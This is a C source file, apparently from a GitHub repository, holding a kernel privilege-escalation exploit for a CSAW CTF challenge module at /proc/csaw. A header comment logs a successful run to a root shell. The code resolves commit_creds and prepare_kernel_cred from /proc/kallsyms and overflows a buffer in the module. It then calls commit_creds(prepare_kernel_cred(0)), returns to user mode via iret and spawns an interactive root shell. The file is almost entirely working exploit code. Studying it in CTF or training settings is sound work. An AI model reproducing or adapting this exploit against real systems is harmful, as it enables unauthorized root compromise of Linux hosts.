-
Notifications
You must be signed in to change notification settings - Fork 51
/
csaw.c
204 lines (173 loc) · 4.75 KB
/
csaw.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
/*
* SAW CTF Kernel Exploit Challenge without CC_STACKPROTECTOR.
*
* by wzt <[email protected]>
*
* [wzt@localhost csaw]$ ./exp 128
* [+] looking for symbols...
* [+] found commit_creds addr at 0xc0446524.
* [+] found prepare_kernel_cred addr at 0xc0446710.
* [+] open /proc/csaw ok.
* [+] write 128 bytes to /proc/csaw.
* [+] We are root!
* sh-3.2# id
* uid=0(root) gid=0(root)
* sh-3.2# uname -a
* Linux localhost.localdomain 2.6.32 #3 SMP Sat Dec 25 12:23:19 CST 2010
* i686 i686 i386 GNU/Linux
* sh-3.2#
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#define KALLSYMS_NAME "/proc/kallsyms"
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)
void exit_code();
char exit_stack[1024 * 1024];
static void exit_kernel();
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int (*kernel_printk)(const char *fmt, ...);
static unsigned int uid, gid;
int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
exit_kernel();
return -1;
}
static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
::"i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
void test_kernel_code(void)
{
kernel_printk = 0xc04307ab;
kernel_printk("We are in kernel.\n");
exit_kernel();
}
void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, "[-] Get root failed\n");
exit(-1);
}
printf("[+] We are root!\n");
execl("/bin/sh", "sh", "-i", NULL);
}
unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
FILE *s_fp;
char buff[200];
char *p = NULL, *p1 = NULL;
unsigned long addr = 0;
s_fp = fopen(file_name, "r");
if (s_fp == NULL) {
printf("open %s failed.\n", file_name);
return 0;
}
while (fgets(buff, 200, s_fp) != NULL) {
if (strstr(buff, symbol_name) != NULL) {
buff[strlen(buff) - 1] = '\0';
p = strchr(strchr(buff, ' ') + 1, ' ');
++p;
if (!p) {
return 0;
}
if (!strcmp(p, symbol_name)) {
p1 = strchr(buff, ' ');
*p1 = '\0';
sscanf(buff, "%lx", &addr);
//addr = strtoul(buff, NULL, 16);
printf("[+] found %s addr at 0x%x.\n",
symbol_name, addr);
break;
}
}
}
fclose(s_fp);
return addr;
}
void trigger(int len)
{
FILE *fp;
char buff[128];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds)
find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
if (!commit_creds) {
printf("[-] not found commit_creds addr.\n");
return ;
}
prepare_kernel_cred =
(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
"prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] not found prepare_kernel_cred addr.\n");
return ;
}
fp = fopen("/proc/csaw", "w");
if (!fp) {
perror("fopen");
return ;
}
printf("[+] open /proc/csaw ok.\n");
printf("[+] write %d bytes to /proc/csaw.\n", len);
memset(buff, 0x41, len);
*(int *)(buff + 64) = 0x9079257d;
*(int *)(buff + 64 + 4) = 0x9079257d;
fwrite(buff, 1, 64 + 8, fp);
fclose(fp);
}
void usage(char *pro)
{
fprintf(stdout, "usage: %s <len>\n", pro);
}
int main(int argc, char **argv)
{
if (argc == 1) {
usage(argv[0]);
return 0;
}
trigger(atoi(argv[1]));
return 0;
}